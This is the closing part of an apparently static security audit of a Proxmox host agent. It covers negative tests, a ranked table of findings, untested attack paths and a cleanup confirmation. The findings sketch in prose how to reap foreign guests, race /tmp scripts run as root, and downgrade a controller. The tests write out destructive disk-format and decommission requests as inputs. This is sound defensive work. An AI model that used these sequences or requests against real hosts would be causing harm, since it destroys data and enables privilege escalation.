**Negative tests.** Replayed nonce → `ErrReplay` (incl. after restart); mutated-`params` blob →
`ErrBadSignature`; `POST /disks/format {confirmed:true}` on a system/backup data-bearing device → 403
`PendingOp`, no mkfs; `POST /disks/decommission` on system/backup → 403; unsigned/no-verifier destructive
job → `pending_signature`; `guest_destroy` signed with the cold recovery key → `ReasonRoleDenied`.
---
## Prioritized fix list
Ranked by real, exploit-backed severity. Per the audit discipline, "suspected — no exploit constructed" caps
at INFO; findings whose exploit *is* fully sequenced but whose precondition does not exist today are LOW.
| # | Sev | Finding | Recommended fix | Relation to campaign F1F6 | Blocks shared-box trial? |
|---|-----|---------|-----------------|----------------------------|--------------------------|
| **A1** | **LOW** | Stale-lock recovery (`stalelock.go:58`) reaps guests by a **pool-blind `ListLXC` scan**, not ownership — `pct unlock`+snapshot-delete+start a foreign guest under a broad token. Contained by the pool ACL today. | Restrict the scan to felhom-pool membership (or fenced-root `pct list` cross-checked against the pool). | **F1-sibling** (extends F1's "broad-token re-arms it"; relates F6) | **N (contained)** — but **fix before any broad/root-token deployment** |
| **B1** | **LOW** | Fixed-name `/tmp` staging of root-executed scripts (`guesthook/install.go:40`, `intermediary.go:149,157`) — local TOCTOU into a root-run hookscript / boot script. | Use `os.CreateTemp` (as `lanresolver.go:255` already does). | new (host-local; outside F1F6) | **N** (needs a 2nd non-root host account, which the platform doesn't provision) |
| **D1** | **LOW** | The guarded mkfs wrapper (`felhom-mkfs-guarded.sh`) re-checks only system-disk / LVM-PV / foreign-mount — **not** ZFS/mdraid/LUKS/swap/read-only, so it can't catch a bypassed agent on those. | Add those FSTYPE + `/sys` ro re-checks to the wrapper; use an absolute `pvs` path. | new (defense-in-depth below the classifier) | N (primary guard `classifyClaim` covers all cases) |
| **D3** | INFO (susp.) | Blank-format path (`disks.go:681`) formats the **mutable `/dev` path** with no durable-id re-resolution — AGENT-001's TOCTOU, left open on the benign branch; `Format`'s own precondition comment is violated. | Re-resolve the durable id on the blank branch too (mirror `disks.go:714`). | new (sibling of AGENT-001, not a pool finding) | N |
| **D2** | INFO (susp.) | `classifyClaim` reads an empty-but-successful `lsblk` as `unclaimed` (no `len(nodes)==0` / target-present guard). | Refuse when `nodes` is empty or the target whole-disk is absent from the tree. | new | N |
| **C1** | INFO (susp.) | `/controller/swap` regex pins host+repo but accepts **any semver** → a compromised controller can downgrade to an older vulnerable release (within its own guest). | Agent-side minimum-version floor. | new (adjacent to controller-swap SPIKE) | N |
| **C2** | INFO (susp.) | `/netstorage/add` `server`/`export` are free → attacker-NAS host-side mount (host kernel NFS/CIFS client + attacker FS into guest). Creds-path attack is closed. | Operator/allowlist gate on NAS server addresses for shared boxes. | new | N |
| **A2** | INFO | Reversibility gate consumes caller-stamped provenance without journal cross-check; guarantee lives entirely in the call-site `launched`/UPID discipline. | Add a defensive comment/guard; consider a journal cross-check for self-authored teardowns. | duplicate-adjacent to **F1** root cause | N |
| **B2** | INFO | `AttachDrive`/`DetachDrive` don't self-reject `..` (safe only because callers gate). | Self-validate `where` in the bind helpers. | new (defense-in-depth) | N |
| **B3/B4/B5** | INFO | Coarser-than-needed wildcards (B3); `privileged.go` forms absent from sudoers, fail-closed (B4); dead `systemctl reload dnsmasq` grant (B5). | Tighten wildcards; document/prune. | new (housekeeping) | N |
| **E1/E2** | INFO | `decommission.go` comment drift (E1); tautological `bindsToAction` for one-shot jobs (E2). | Correct the comment; note the real one-shot binding control. | new (doc/clarity) | N |
| **C3** | — | Eject/decommission dependent-guest scan is advisory-only. | (already tracked) | **= F5** (duplicate) | N |
---
## NOT validated / needs supervised live test
This audit was **100% static + non-destructive**. The following would each require a *destructive* live
effect and were deliberately **not** run (§13 STOP):
- **A1** under a real broad/root token — would need to redeploy the agent with a broad token and park a
foreign guest in a stale-locked state; needs a supervised host with a throwaway non-felhom guest.
- **B1** — would need a second non-root local account on the Proxmox host and a race harness against a real
guesthook install; the standard host doesn't provide the account.
- **D1/D3** — proving these requires an actual `mkfs` against a crafted ZFS/mdraid/LUKS/swap member (D1) or a
live `/dev` re-enumeration race during a real format (D3). **Not run** — no real disk was formatted.
- **C1** — a real controller-swap to an older image against guest 9201. **Not run.**
- **C2** — a real NAS mount from an attacker-controlled server. **Not run.**
All are documented as sequences/fixtures + named negative tests so a follow-up fix spec can prove them in
unit-land or on a supervised scratch host.
## Cleanup confirmation
- **No throwaway probe artifacts created** — the audit used only source reads and read-only verification
greps. No spike token was minted, no scratch guest/decoy created, no marker path written, no `go
run`/`go test` harness left behind.
- **Live state untouched:** the agent was not restarted or reconfigured; guest 9201, the enrolled drives, the
`FelhomAgent` role / `felhom-agent@pve` token / its ACL, and the `felhom` pool were **not** modified (no
live mutation was issued at all).
- **`felhom-agent` repo: read-only** — no file written, no version bump, no branch.
- **No secret committed** — this doc references tokens/keys/codes only as "stored out-of-band"; no
fingerprint, nonce, or key material appears.
## Observations (tempting-but-out-of-scope; recorded, not acted on)
- The `validate.go:34-36` comment still says the sudoers mkfs entries are "per-fstype binaries
(mkfs.ext4/mkfs.xfs)"; the FORMAT alias now routes *only* through `felhom-mkfs-guarded` (raw mkfs.* is no
longer allowlisted). Stale comment, not a security issue — noted for a future doc pass.
- Several INFO items (B3 wildcard tightening, B5 dead grant, E1/E2 comment fixes) are one-liners that would
tighten least-privilege / clarity; deliberately left as a batch for a separate implementation spec rather
than patched here (this is an audit).
- A1, D1, D3 are the three worth folding into the next agent fix spec together — they are the "defense-in-
depth is asymmetric / a second gate doesn't fully mirror the first" theme running across strands A and D.